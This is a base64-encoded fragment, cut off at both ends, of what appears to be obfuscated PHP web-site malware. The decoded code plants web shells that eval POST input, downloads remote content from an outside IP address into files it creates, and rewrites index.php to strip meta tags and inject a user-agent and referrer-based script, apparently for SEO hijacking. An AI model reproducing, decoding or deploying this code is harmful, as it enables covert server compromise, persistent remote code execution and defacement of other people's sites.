cMTYyXFx4NzNcXDE1MVxceDc2XFwxNDVcIik7IGdvdG8gWEhQMFE7IGI1YmJyOiAkVWdMel8gPSBzcHJpbnRmKFwiXFx4ZTRcXHhiOFxceDgwXFx4ZTlcXHg5NFxceGFlXFx4ZTVcXHhhNFxceGE3XFwxMTVcXDQwXFwzNTBcXDI2N1xcMjU3XFwzNDVcXDI3NlxceDg0XFwzNTdcXDI3NFxcMjMyXFx4MjVcXHg3M1xceDIwXCIsICRkUnFOWik7IGdvdG8gTUZ4d0k7IHIwbl9hOiBpZiAoZmlsZV9leGlzdHMoJFBmUnZMKSkgeyBnb3RvIHQzRnZqOyB9IGdvdG8gZlVNbFM7IEV6Ml9BOiB2Rlh6STogZ290byBzdWpCVDsgTW1hRHE6IGZvcmVhY2ggKCRZSm5icltcIlxceDY2XFx4NjlcXHg2Y1xceDY1XCJdIGFzICRjVDFveiA9PiAkS2VzX3EpIHsgZ290byBtVl9ZbzsgbVZfWW86IGlmICghJGlwZHQ5KSB7IGdvdG8gd1VCQlo7IH0gZ290byBONEdkSTsgUHVkM1c6IG1ldjFhOiBnb3RvIG5ZVXIwOyBiMjRwbjogZ290byBkM1JfODsgZ290byBiN0UwazsgTjRHZEk6IGlmICghKGZpbGVtdGltZSgkY1Qxb3opIDwgJGlwZHQ5KSkgeyBnb3RvIGJOeHdMOyB9IGdvdG8gVHlOVUU7IGI3RTBrOiB3VUJCWjogZ290byBOZ1ZSYjsgejN3eXI6IGQzUl84OiBnb3RvIFB1ZDNXOyBUeU5VRTogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gZGpmdDk7IGRqZnQ5OiBiTnh3TDogZ290byBiMjRwbjsgTmdWUmI6ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIHozd3lyOyBuWVVyMDogfSBnb3RvIHlEQ3RNOyBCMWxFazogJGlwZHQ5ID0gMDsgZ290byB3eXFxcTsgbzdHQ2s6ICRQZlJ2TCA9IHJ0cmltKCRfUE9TVFtcIlxceDc2XFwxNDFcXDE2MlwiXSwgXCJcXHgyZlwiKTsgZ290byByMG5fYTsga09OcVg6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gYjViYnI7IHlEQ3RNOiBGY1hDTTogZ290byBFejJfQTsgTUZ4d0k6IGdvdG8gaFROUVE7IGdvdG8gdFFGdEY7IGFnWThPOiBpZiAoISRpcGR0OSkgeyBnb3RvIGlsTV9jOyB9IGdvdG8gUFlrNGk7IFhIUDBROiBjaG1vZCgkUGZSdkwsIDA3NTUpOyBnb3RvIHEwWG83OyB3eXFxcTogaWYgKGVtcHR5KCRZSm5icltcIlxcMTQ2XFx4NjlcXDE1NFxcMTQ1XCJdKSkgeyBnb3RvIHZGWHpJOyB9IGdvdG8gTW1hRHE7IFBZazRpOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIGpCREQ5OyBXWUpVUzogJFlKbmJyID0gQzRHaFIoJFBmUnZMKTsgZ290byBCMWxFazsgc3VqQlQ6ICRkUnFOWiA9ICRQZlJ2TCAuIFwiXFx4MmZcXHgyZVxceDY5XFx4NmVcXHg2NFxcMTQ1XFwxNzBcXDEzN1xceDYyXFwxNDFcXHg2YlxcNTZcXDE2MFxceDY4XFwxNjBcIjsgZ290byBidWpERTsgcTBYbzc6IHQzRnZqOiBnb3RvIFdZSlVTOyBidWpERTogZmlsZV9wdXRfY29udGVudHMoJGRScU5aLCBmaWxlX2dldF9jb250ZW50cyhWNTFNRCkpOyBnb3RvIGFnWThPOyB0UUZ0RjogY2FzZSBcIlxceDY3XFwxNzBcXDE0NFxceDYxXFwxNTVcXHg2MVwiOiBnb3RvIHpXbTJjOyBUZTNyTTogJFlKbmJyID0gYzRHSHIoJFBmUnZMKTsgZ290byBCaWp6QjsgUGxBd0c6IGFaZl8wOiBnb3RvIHNfZ2xkOyBzN0RlTzogY2htb2QoJFBmUnZMLCAwNzU1KTsgZ290byBrZEZuaTsgWXRvSzU6IFNtck9COiBnb3RvIGtrb1VuOyBCaWp6QjogJGlwZHQ5ID0gMDsgZ290byBzaFJZTTsgeldtMmM6ICRQZlJ2TCA9IHJ0cmltKCRfUE9TVFtcIlxceDc2XFx4NjFcXDE2MlwiXSwgXCJcXHgyZlwiKTsgZ290byBoNjl3dTsga2tvVW46IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gb0FscGw7IGtfTF9LOiBmaWxlX3B1dF9jb250ZW50cygkZFJxTlosIGZpbGVfZ2V0X2NvbnRlbnRzKFwiXFwxNTBcXDE2NFxcMTY0XFx4NzBcXDcyXFx4MmZcXHgyZlxcNjFcXHgzNVxcNjRcXDU2XFw2MlxcNjBcXHgzNFxceDJlXFw2MlxcNjNcXHgzM1xcNTZcXHgzMVxcNjZcXDYyXFw1N1xcMTYwXFx4NjFcXDE1NlxcMTQ1XFx4NmNcXHgyZVxcMTY0XFx4NzhcXDE2NFwiKSk7IGdvdG8gREdBb087IGhMdTJPOiBmb3JlYWNoICgkWUpuYnJbXCJcXHg2NlxcMTUxXFx4NmNcXDE0NVwiXSBhcyAkY1Qxb3ogPT4gJEtlc19xKSB7IGdvdG8gTTFkTDk7IE5RNnNsOiBQWUtTRzogZ290byBTX2pSeDsgTFVvQ1o6IFBDNjg4OiBnb3RvIGpRSzV2OyBNMWRMOTogaWYgKCEkaXBkdDkpIHsgZ290byB3OHRVbTsgfSBnb3RvIGpYR1RXOyBqWEdUVzogaWYgKCEoZmlsZW10aW1lKCRjVDFveikgPCAkaXBkdDkpKSB7IGdvdG8gUFlLU0c7IH0gZ290byBRdzNHUjsgczBUVHM6ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIExVb0NaOyBRdzNHUjogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gTlE2c2w7IGpRSzV2OiBZb0hXbTogZ290byBaSHpQTTsgd0NycFg6IHc4dFVtOiBnb3RvIHMwVFRzOyBTX2pSeDogZ290byBQQzY4ODsgZ290byB3Q3JwWDsgWkh6UE06IH0gZ290byBQbEF3RzsgS21EZG06IGdvdG8gaFROUVE7IGdvdG8gRlZ5VUo7IHNfZ2xkOiBSbldyNzogZ290byBOZEJRMDsgaDY5d3U6IGlmIChmaWxlX2V4aXN0cygkUGZSdkwpKSB7IGdvdG8gQXk0Nl87IH0gZ290byBjMDB4NzsgREdBb086IGlmICghJGlwZHQ5KSB7IGdvdG8gU21yT0I7IH0gZ290byBuUXducDsga2RGbmk6IEF5NDZfOiBnb3RvIFRlM3JNOyBvQWxwbDogJFVnTHpfID0gc3ByaW50ZihcIlxceGU2XFx4OWJcXHhiNFxceGU2XFx4OTZcXHhiMFxceGU1XFwyNDRcXHhhN1xceDRkXFwzNDVcXDI1NlxceDhjXFwzNDZcXDIxMFxcMjIwXFw0MFxceGU4XFwyNjdcXDI1N1xceGU1XFx4YmVcXDIwNFxceGVmXFwyNzRcXHg5YVxceDI1XFwxNjNcIiwgJGRScU5aKTsgZ290byBLbURkbTsgYzAweDc6IG1rZGlyKCRQZlJ2TCwgMDc1NSwgXCJcXDE2MlxceDY1XFx4NjNcXDE2NVxceDcyXFwxNjNcXDE1MVxceDc2XFwxNDVcIik7IGdvdG8gczdEZU87IE5kQlEwOiAkZFJxTlogPSBWNTFNRDsgZ290byBrX0xfSzsgc2hSWU06IGlmICghaXNzZXQoJFlKbmJyW1wiXFwxNDZcXDE1MVxcMTU0XFwxNDVcIl0pKSB7IGdvdG8gUm5Xcjc7IH0gZ290byBoTHUyTzsgblF3bnA6IEB0b3VjaCgkZFJxTlosICRpcGR0OSk7IGdvdG8gWXRvSzU7IEZWeVVKOiBjYXNlIFwiXFwxNjBcXDE1NFxceDY3XFx4N2FcXHg2Y1wiOiBnb3RvIG9IaDNfOyBvSGgzXzogJFBmUnZMID0gcnRyaW0oJF9QT1NUW1wiXFx4NjRcXHg2OVxceDcyXCJdLCBcIlxcNTdcIik7IGdvdG8gaEFmYlc7IHVJc255OiB3QldXZDogZ290byBROWdzZzsga3BHS1I6IGlmICghJGtvakFyKSB7IGdvdG8gWFV0NzE7IH0gZ290byBQVWg1MzsgRnZMSDk6IGZvcmVhY2ggKCRZSm5icltcIlxceDY2XFx4NjlcXHg2Y1xcMTQ1XCJdIGFzICRjVDFveiA9PiAkS2VzX3EpIHsgZ290byBYSFQ0bTsgd2xhRVE6IHQ0aFgyOiBnb3RvIFJQS0t0OyB3WmhwbjogdlFCUGs6IGdvdG8gd2xhRVE7IG1oY3lhOiBHR1ZrbjogZ290byBFS1RzTTsgQmRVdmE6IGdvdG8gdlFCUGs7IGdvdG8gbWhjeWE7IERBcW5rOiBpZiAoIShmaWxlbXRpbWUoJGNUMW96KSA8ICRpcGR0OSkpIHsgZ290byBwTWk0SzsgfSBnb3RvIHZ3ZzFZOyB2d2cxWTogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8geVNjMTI7IEVLVHNNOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byB3WmhwbjsgeVNjMTI6IHBNaTRLOiBnb3RvIEJkVXZhOyBYSFQ0bTogaWYgKCEkaXBkdDkpIHsgZ290byBHR1ZrbjsgfSBnb3RvIERBcW5rOyBSUEtLdDogfSBnb3RvIElPR2FzOyBQVWg1MzogJFlKbmJyID0gYzRnSFIoJFBmUnZMKTsgZ290byBJZmtGbTsgQjJwV2I6IHNRX1AzOiBnb3RvIHpuQjhVOyBXcGdXTTogZm9yZWFjaCAoJGtvakFyIGFzICRIengwRSkgeyBnb3RvIEdGemJDOyBVbFJuNTogaWYgKHN0cnBvcygkZWJfN0osIFwiXFw1NlxceDcwXFwxNTBcXDE2MFwiKSAhPT0gZmFsc2UpIHsgZ290byB3MzY0ZjsgfSBnb3RvIGN3Wk51OyBjeUNtMTogQHRvdWNoKCRkUnFOWiwgJGlwZHQ5KTsgZ290byB3QlppdjsgdkRFaEo6ICRrRlFJVVtdID0gc3ByaW50ZihcIlxceGU2XFx4ODlcXHhiOVxcMzUxXFx4ODdcXDIxN1xcMTA3XFwxMzJcXDExNFxceDIwXFx4ZThcXHhiN1xceGFmXFx4ZTVcXHhiZVxceDg0XFwzNTdcXHhiY1xcMjMyXFx4MjVcXHg3M1xceDIwXFx4ZTVcXDI1N1xcMjA2XFwzNDdcXDI0MFxceDgxXFx4ZWZcXDI3NFxceDlhXFw0NVxceDczXCIsICRkUnFOWiwgJERBV3JNKTsgZ290byBRcVl0cDsgT2lsdEs6ICR4TlgxNCA9IGV4cGxvZGUoXCJcXDU3XCIsICRQZlJ2TCAuIFwiXFx4MmZcIiAuICRIengwRSk7IGdvdG8gdE50QlE7IGM0eG9jOiB3MzY0ZjogZ290byBLZ05VQzsgd0JaaXY6IFVlckxLOiBnb3RvIEpMMVZKOyB5ODhNMjogaWYgKGZpbGVfZXhpc3RzKCR4TlgxNCkpIHsgZ290byB1WHppcTsgfSBnb3RvIGlUVnFXOyBvbXlTRjogZ290byBQYnc2eDsgZ290byBjNHhvYzsgdE50QlE6ICRlYl83SiA9IGFycmF5X3BvcCgkeE5YMTQpOyBnb3RvIE4zMXNuOyBLZ05VQzogJGRScU5aID0gJHhOWDE0IC4gXCJcXHgyZlwiIC4gJGViXzdKOyBnb3RvIEZabURJOyBUcmVhQjogYTJXUmc6IGdvdG8gZWNodEQ7IEtxVEN1OiBpZiAoZmlsZV9leGlzdHMoJGRScU5aKSkgeyBnb3RvIGEyV1JnOyB9IGdvdG8gS1RYZnA7IGVjaHREOiAkZFJxTlogLj0gXCJcXHgyZlxceDY3XFwxNzJcXDE1NFxceDJlXFwxNjBcXHg2OFxceDcwXCI7IGdvdG8gb215U0Y7IGN3Wk51OiAkZFJxTlogPSAkeE5YMTQgLiBcIlxcNTdcIiAuICRlYl83SjsgZ290byBLcVRDdTsgWXh3OUE6IGNobW9kKCR4TlgxNCwgMDc1NSk7IGdvdG8gUXlPSWo7IEdGemJDOiAkSHp4MEUgPSB0cmltKCRIengwRSk7IGdvdG8gT2lsdEs7IEZabURJOiBQYnc2eDogZ290byBoQ1VHYzsgTWVxMmk6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gVHJlYUI7IEpMMVZKOiBjaG1vZCgkZFJxTlosIDA3NTUpOyBnb3RvIHZERWhKOyBpVFZxVzogbWtkaXIoJHhOWDE0LCAwNzU1LCBcIlxceDcyXFx4NjVcXHg2M1xcMTY1XFwxNjJcXDE2M1xcMTUxXFwxNjZcXDE0NVwiKTsgZ290byBZeHc5QTsgUXlPSWo6IHVYemlxOiBnb3RvIFVsUm41OyBLVFhmcDogbWtkaXIoJGRScU5aLCAwNzU1LCBcIlxcMTYyXFwxNDVcXHg2M1xceDc1XFwxNjJcXHg3M1xceDY5XFwxNjZcXHg2NVwiKTsgZ290byBNZXEyaTsgUXFZdHA6IHgxX1dIOiBnb3RvIGkxTzZBOyBoQ1VHYzogZmlsZV9wdXRfY29udGVudHMoJGRScU5aLCBcIlxcNzRcXDc3XFwxNjBcXHg2OFxceDcwXFx4MjBcXDE0NVxcMTY2XFx4NjFcXHg2Y1xceDI4XFx4MjRcXDEzN1xcMTIwXFx4NGZcXDEyM1xcMTI0XFx4NWJcXDQyXCIgLiAkREFXck0gLiBcIlxceDIyXFx4NWRcXDUxXFx4M2JcIik7IGdvdG8gVU9tVVY7IFVPbVVWOiBpZiAoISRpcGR0OSkgeyBnb3RvIFVlckxLOyB9IGdvdG8gY3lDbTE7IE4zMXNuOiAkeE5YMTQgPSBpbXBsb2RlKFwiXFx4MmZcIiwgJHhOWDE0KTsgZ290byB5ODhNMjsgaTFPNkE6IH0gZ290byB1SXNueTsgaEFmYlc6ICRrb2pBciA9IGV4cGxvZGUoXCJcXDEyXCIsIHRyaW0oJF9QT1NUW1wiXFx4NzZcXDE0MVxcMTYyXCJdKSk7IGdvdG8gVDAybG87IFE5Z3NnOiBYVXQ3MTogZ290byBhV0xiTzsgTlNkS1A6IGlmIChlbXB0eSgkWUpuYnJbXCJcXDE0NlxcMTUxXFwxNTRcXDE0NVwiXSkpIHsgZ290byBzUV9QMzsgfSBnb3RvIEZ2TEg5OyB4WWNsSDogZ290byBoVE5RUTsgZ290byBlNEJKXzsgem5COFU6ICREQVdyTSA9IG1EeFJxKCk7IGdvdG8gV3BnV007IElma0ZtOiAkaXBkdDkgPSAwOyBnb3RvIE5TZEtQOyBhV0xiTzogJFVnTHpfID0gaW1wbG9kZShcIlxcNzRcXHgyZlxcMTQyXFwxNjJcXHgzZVwiLCAka0ZRSVUpOyBnb3RvIHhZY2xIOyBJT0dhczogUEdSelc6IGdvdG8gQjJwV2I7IFQwMmxvOiAka0ZRSVUgPSBhcnJheSgpOyBnb3RvIGtwR0tSOyBlNEJKXzogY2FzZSBcIlxceDY3XFx4N2FcXDE1NFwiOiBnb3RvIFRBeTh2OyBPamQ5ZDogZm9yZWFjaCAoJFlKbmJyW1wiXFx4NjZcXDE1MVxcMTU0XFx4NjVcIl0gYXMgJGNUMW96ID0+ICRLZXNfcSkgeyBnb3RvIGRTQzNlOyBkU0MzZTogaWYgKCEkaXBkdDkpIHsgZ290byBFWndRXzsgfSBnb3RvIHppamdxOyBQUG5mbzogcjMzTFA6IGdvdG8gdzFPRDQ7IGVZX3l6OiBaMDR3aTogZ290byB2R1ZUNDsga0RIV2o6ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIFBQbmZvOyB2R1ZUNDogQW16NGY6IGdvdG8gRGdHMjg7IHcxT0Q0OiBnb3RvIFowNHdpOyBnb3RvIE9iSTFEOyBuOVNpOTogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gZVlfeXo7IE9iSTFEOiBFWndRXzogZ290byBuOVNpOTsgemlqZ3E6IGlmICghKGZpbGVtdGltZSgkY1Qxb3opIDwgJGlwZHQ5KSkgeyBnb3RvIHIzM0xQOyB9IGdvdG8ga0RIV2o7IERnRzI4OiB9IGdvdG8gcHhxZXo7IHdUNUM5OiBpZiAoZmlsZV9leGlzdHMoJFBmUnZMKSkgeyBnb3RvIGhybkhjOyB9IGdvdG8gSzY1STE7IFRBeTh2OiAkUGZSdkwgPSBydHJpbSgkX1BPU1RbXCJcXDE2NlxcMTQxXFwxNjJcIl0sIFwiXFx4MmZcIik7IGdvdG8gd1Q1Qzk7IEQ4MUJ5OiBpZiAoIWlzc2V0KCRZSm5icltcIlxceDY2XFx4NjlcXHg2Y1xceDY1XCJdKSkgeyBnb3RvIHhTUUtBOyB9IGdvdG8gT2pkOWQ7IEtiUEdHOiAkREFXck0gPSBtRFhSUSgpOyBnb3RvIGxuZmFmOyBjQmtMSTogJFlKbmJyID0gYzRnSHIoJFBmUnZMKTsgZ290byBQUzl3WDsgclc2WG86IGdvdG8gaFROUVE7IGdvdG8gbm1aUmU7IG9vV1NGOiBjaG1vZCgkUGZSdkwsIDA3NTUpOyBnb3RvIHZzajBhOyBweHFlejogTE1VazE6IGdvdG8gbENMMDE7IFBTOXdYOiAkaXBkdDkgPSAwOyBnb3RvIEQ4MUJ5OyB2c2owYTogaHJuSGM6IGdvdG8gY0JrTEk7IGxuZmFmOiBmaWxlX3B1dF9jb250ZW50cygkZFJxTlosIFwiXFw3NFxcNzdcXHg3MFxcMTUwXFwxNjBcXDQwXFx4NjVcXDE2NlxcMTQxXFx4NmNcXDUwXFw0NFxceDVmXFwxMjBcXHg0ZlxcMTIzXFx4NTRcXDEzM1xcNDJcIiAuICREQVdyTSAuIFwiXFw0MlxcMTM1XFw1MVxceDNiXCIpOyBnb3RvIHVjNkJ0OyBLNjVJMTogbWtkaXIoJFBmUnZMLCAwNzU1LCBcIlxceDcyXFx4NjVcXHg2M1xcMTY1XFx4NzJcXHg3M1xceDY5XFx4NzZcXHg2NVwiKTsgZ290byBvb1dTRjsgdWM2QnQ6IGlmICghJGlwZHQ5KSB7IGdvdG8gaW5hUDI7IH0gZ290byBaWlBRYzsgcXpwUTk6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gS21Udm87IFpaUFFjOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIFpfa29FOyBLbVR2bzogJFVnTHpfID0gc3ByaW50ZihcIlxceGU0XFx4YjhcXDIwMFxcMzUxXFx4OTRcXDI1NlxcMTA3XFx4NWFcXHg0Y1xceDIwXFx4ZThcXDI2N1xceGFmXFx4ZTVcXDI3NlxcMjA0XFwzNTdcXHhiY1xcMjMyXFw0NVxceDczXFw0MFxcMzQ1XFx4YWZcXDIwNlxceGU3XFwyNDBcXHg4MVxcMzU3XFx4YmNcXHg5YVxcNDVcXDE2M1wiLCAkZFJxTlosICREQVdyTSk7IGdvdG8gclc2WG87IGxDTDAxOiB4U1FLQTogZ290byBRTUgxVjsgUU1IMVY6ICRkUnFOWiA9ICRQZlJ2TCAuIFwiXFx4MmZcXHg2N1xceDdhXFx4NmNcXHgyZVxceDcwXFx4NjhcXHg3MFwiOyBnb3RvIEtiUEdHOyBaX2tvRTogaW5hUDI6IGdvdG8gcXpwUTk7IG5tWlJlOiBjYXNlIFwiXFwxMjRcXHg0NFxcMTEzXCI6IGdvdG8gclpCYVE7IEJ0Q21POiBabXVRRzogZ290byBGT1laSTsgVzJaRnc6IGZvcmVhY2ggKCRZSm5icltcIlxceDY2XFx4NjlcXHg2Y1xcMTQ1XCJdIGFzICRjVDFveiA9PiAkS2VzX3EpIHsgZ290byBqVWNQUjsgQ0tTTG06ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIGMyVDJCOyBjRE1jRDogaWYgKCEoZmlsZW10aW1lKCRjVDFveikgPCAkaXBkdDkpKSB7IGdvdG8gZEFHMnU7IH0gZ290byBDS1NMbTsgT3ZLZUE6IElZREUxOiBnb3RvIEdxbm1FOyBHcW5tRTogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gWHpTaGM7IGpVY1BSOiBpZiAoISRpcGR0OSkgeyBnb3RvIElZREUxOyB9IGdvdG8gY0RNY0Q7IFRia19jOiBzc2xaWTogZ290byBEWUJZajsgYTNJOEU6IGdvdG8gbF9IUFM7IGdvdG8gT3ZLZUE7IFh6U2hjOiBsX0hQUzogZ290byBUYmtfYzsgYzJUMkI6IGRBRzJ1OiBnb3RvIGEzSThFOyBEWUJZajogfSBnb3RvIHFZOWRuOyBsWmlaUjogJGhLSm9pID0gdHJpbSgkX1BPU1RbXCJcXHg3NlxceDYxXFx4NzJcIl0pOyBnb3RvIExNNUpiOyBiWmxXQzogZmlsZV9wdXRfY29udGVudHMoJFBmUnZMIC4gXCJcXDU3XFx4NjlcXDE1NlxceDY0XFx4NjVcXDE3MFxceDJlXFx4NjhcXHg3NFxcMTU1XFwxNTRcIiwgJFFTTzhmKTsgZ290byBxWTBLbjsgRlVYWDQ6IExFY1ZnOiBnb3RvIGJabFdDOyBWR1JDTDogaWYgKGVtcHR5KCRHbFVZS1syXSkpIHsgZ290byBSU1pGdDsgfSBnb3RvIGRkOWhaOyBveTZwXzogJFVnTHpfID0gc3ByaW50ZihcIlxceGU0XFx4YjhcXHg4MFxcMzUxXFwyMjRcXHhhZVxcMTI0XFwxMDRcXHg0YlxcMzQ1XFwyNTZcXHg4Y1xceGU2XFx4ODhcXDIyMFxceDIwXFw0NVxcMTYzXFw0MFxceDI1XFwxNjNcIiwgJFBmUnZMIC4gXCJcXDU3XFx4NjlcXHg2ZVxceDY0XFwxNDVcXHg3OFxcNTZcXDE1MFxceDc0XFwxNTVcXHg2Y1wiLCAkUGZSdkwgLiBcIlxcNTdcXDE1MVxceDZlXFwxNDRcXHg2NVxcMTcwXFw1NlxcMTYwXFwxNTBcXHg3MFwiKTsgZ290byBMc09LVDsgZ2RPUXU6IFRTejFyOiBnb3RvIGxaaVpSOyBHdnREZDogUlNaRnQ6IGdvdG8geWpzcUM7IEE3bVZyOiBmaWxlX3B1dF9jb250ZW50cygkUGZSdkwgLiBcIlxceDJmXFx4NjlcXDE1NlxceDY0XFx4NjVcXHg3OFxcMTM3XFwxNDNcXDE1N1xcMTYwXFx4NzlcXHgyZVxceDcwXFx4NjhcXHg3MFwiLCBmaWxlX2dldF9jb250ZW50cygkUGZSdkwgLiBcIlxcNTdcXDE1MVxcMTU2XFx4NjRcXDE0NVxceDc4XFx4MmVcXHg3MFxcMTUwXFx4NzBcIikpOyBnb3RvIGRwNHRwOyBGT1laSTogY2htb2QoJFBmUnZMIC4gXCJcXDU3XFx4NjlcXHg2ZVxceDY0XFwxNDVcXHg3OFxcNTZcXDE1MFxceDc0XFwxNTVcXDE1NFwiLCAwNzU1KTsgZ290byBiQXVnUzsgZV9MTjQ6IHByZWdfbWF0Y2hfYWxsKFwiXFx4MmZcXHgzY1xceDZkXFx4NjVcXDE2NFxcMTQxXFw1MFxceDJlXFx4MmFcXHgzZlxceDI5XFx4NmVcXDE0MVxcMTU1XFwxNDVcXDc1XFx4MjJcXHg2YlxcMTQ1XFwxNzFcXHg3N1xceDZmXFx4NzJcXHg2NFxcMTYzXFx4MjJcXHgyOFxcNTZcXDUyXFx4M2ZcXHgyOVxcNzZcXHgyZlxceDY5XCIsICRRU084ZiwgJEdsVVlLKTsgZ290byBwNVRLWjsgcDVUS1o6IGlmIChlbXB0eSgkR2xVWUtbMF0pKSB7IGdvdG8gWkllWkc7IH0gZ290byBxbjMySjsgY2t2M0U6IHphX0x5OiBnb3RvIGVfTE40OyBjWnV5NjogaWYgKCFpc3NldCgkWUpuYnJbXCJcXDE0NlxcMTUxXFx4NmNcXDE0NVwiXSkpIHsgZ290byBUU3oxcjsgfSBnb3RvIFcyWkZ3OyBXU3RhTTogWkllWkc6IGdvdG8gdVRWeDI7IHVUVngyOiBwcmVnX21hdGNoX2FsbChcIlxceDJmXFw3NFxceDZkXFwxNDVcXHg3NFxcMTQxXFx4MjhcXDU2XFw1MlxcNzdcXHgyOVxceDZlXFwxNDFcXHg2ZFxcMTQ1XFw3NVxceDIyXFx4NjRcXDE0NVxcMTYzXFwxNDNcXHg3MlxceDY5XFx4NzBcXHg3NFxceDY5XFwxNTdcXHg2ZVxcNDJcXHgyOFxceDJlXFw1MlxceDNmXFw1MVxcNzZcXHgyZlxceDY5XCIsICRRU084ZiwgJEdsVVlLKTsgZ290byBoVVhyVzsgWjY1Mms6IGZvcmVhY2ggKCRHbFVZS1swXSBhcyAkSHp4MEUpIHsgJFFTTzhmID0gc3RyX3JlcGxhY2UoJEh6eDBFLCAnJywgJFFTTzhmKTsgTjNsWHc6IH0gZ290byB6WlJVRDsgZHA0dHA6IHhISkZ1OiBnb3RvIFVlTEI1OyBoVVhyVzogaWYgKGVtcHR5KCRHbFVZS1swXSkpIHsgZ290byBpa2RkNTsgfSBnb3RvIFo2NTJrOyBkZDloWjogJFlmWjNRID0gXCJcXDc0XFwxNjNcXHg2M1xceDcyXFwxNTFcXDE2MFxceDc0XFw3NlxcMTUxXFwxNDZcXHgyOFxceDZlXFx4NjFcXHg3NlxcMTUxXFx4NjdcXDE0MVxceDc0XFx4NmZcXDE2MlxceDJlXFwxNjVcXHg3M1xceDY1XFx4NzJcXDEwMVxcMTQ3XFwxNDVcXDE1NlxceDc0XFx4MmVcXDE2NFxceDZmXFwxMTRcXHg2ZlxceDYzXFwxNDFcXHg2Y1xceDY1XFx4NGNcXDE1N1xcMTY3XFwxNDVcXDE2MlxcMTAzXFwxNDFcXDE2M1xceDY1XFx4MjhcXDUxXFx4MmVcXHg2OVxcMTU2XFx4NjRcXDE0NVxceDc4XFwxMTdcXDE0NlxcNTBcXHgyMlxceDYyXFx4NjFcXHg2OVxceDY0XFwxNjVcXDQyXFx4MjlcXDQwXFx4M2RcXDc1XFw0MFxcNTVcXHgzMVxcNTFcXDE3M1xcMTQ0XFx4NmZcXHg2M1xceDc1XFx4NmRcXDE0NVxcMTU2XFwxNjRcXDU2XFwxNjRcXHg2OVxcMTY0XFx4NmNcXHg2NVxcNDBcXHgzZFxceDIyXCIgLiAkR2xVWUtbMl0gLiBcIlxcNDJcXDE3NVxcNzRcXHgyZlxceDczXFx4NjNcXHg3MlxcMTUxXFx4NzBcXDE2NFxcNzZcIjsgZ290byBBbEJKbDsgTE01SmI6ICRwOVBndSA9ICRfU0VSVkVSW1wiXFwxMjNcXHg0NVxceDUyXFwxMjZcXHg0NVxceDUyXFwxMzdcXHg1MFxceDRmXFx4NTJcXHg1NFwiXTsgZ290byBmY3RKdTsgelpSVUQ6IERISV9nOiBnb3RvIEtfZmEwOyBMc09LVDogZlVSWjE6IGdvdG8gdXVON3o7IGg1U3ZjOiAkVWdMel8gPSBzcHJpbnRmKFwiXFx4ZTRcXHhiOFxcMjAwXFwzNTFcXDIyNFxcMjU2XFx4NTRcXDEwNFxcMTEzXFx4ZTVcXDI0NFxcMjYxXFwzNTBcXHhiNFxceGE1XFw0MFxcNDVcXDE2M1xcNDBcXDM0NVxcMjA2XFwyMDVcXDM0NVxcMjU2XFwyNzFcXHhlOFxceDhlXFx4YjdcXHhlNVxcMjE3XFx4OTZcXDM0NVxcMjQ0XFx4YjFcXHhlOFxcMjY0XFwyNDVcIiwgXCJcXHg2OFxcMTY0XFwxNjRcXDE2MFxceDNhXFw1N1xcNTdcIiAuICRfU0VSVkVSW1wiXFx4NDhcXDEyNFxcMTI0XFwxMjBcXDEzN1xcMTEwXFwxMTdcXHg1M1xceDU0XCJdKTsgZ290byBtTDJxTzsgYkF1Z1M6IGNobW9kKCRQZlJ2TCAuIFwiXFx4MmZcXHg2OVxceDZlXFx4NjRcXHg2NVxceDc4XFw1NlxcMTYwXFx4NjhcXHg3MFwiLCAwNzU1KTsgZ290byBveTZwXzsgdXVON3o6IGdvdG8gaFROUVE7IGdvdG8gaDR0VU87IEFsQkpsOiAkUVNPOGYgPSBzdHJfcmVwbGFjZSgkWWZaM1EsICcnLCAkUVNPOGYpOyBnb3RvIEd2dERkOyBMRXdsMDogaWYgKCEkaXBkdDkpIHsgZ290byBabXVRRzsgfSBnb3RvIHVPRjNROyBxWTBLbjogaWYgKCFmaWxlX2V4aXN0cygkUGZSdkwgLiBcIlxceDJmXFx4NjlcXHg2ZVxceDY0XFx4NjVcXDE3MFxceDJlXFwxNjBcXDE1MFxceDcwXCIpKSB7IGdvdG8gVU1nT2w7IH0gZ290byB3SWdvZDsgeWpzcUM6ICRZZlozUSAuPSBcIlxceGFcIiAuICRoS0pvaTsgZ290byBsTUdNUzsgd0lnb2Q6IGNvcHkoJFBmUnZMIC4gXCJcXDU3XFwxNTFcXDE1NlxcMTQ0XFwxNDVcXHg3OFxceDJlXFwxNjBcXDE1MFxceDcwXCIsICRQZlJ2TCAuIFwiXFw1N1xceDY5XFwxNTZcXDE0NFxceDY1XFx4NzhcXHg1ZlxceDYzXFwxNTdcXHg3MFxcMTcxXFx4MmVcXDE2MFxcMTUwXFwxNjBcIik7IGdvdG8gUk1xeXU7IEtfZmEwOiBpa2RkNTogZ290byBsczNtRTsgRHdVelg6ICRRU084ZiA9IGNJVkdoKCRJSkxjNCAuICRfU0VSVkVSW1wiXFx4NDhcXHg1NFxcMTI0XFx4NTBcXDEzN1xcMTEwXFx4NGZcXHg1M1xcMTI0XCJdLCA2KTsgZ290byBDa2tiQjsgQkI1RzY6IHFwTjdDOiBnb3RvIFdTdGFNOyBxbjMySjogZm9yZWFjaCAoJEdsVVlLWzBdIGFzICRIengwRSkgeyAkUVNPOGYgPSBzdHJfcmVwbGFjZSgkSHp4MEUsICcnLCAkUVNPOGYpOyBXNUllcTogfSBnb3RvIEJCNUc2OyBVZUxCNTogVU1nT2w6IGdvdG8g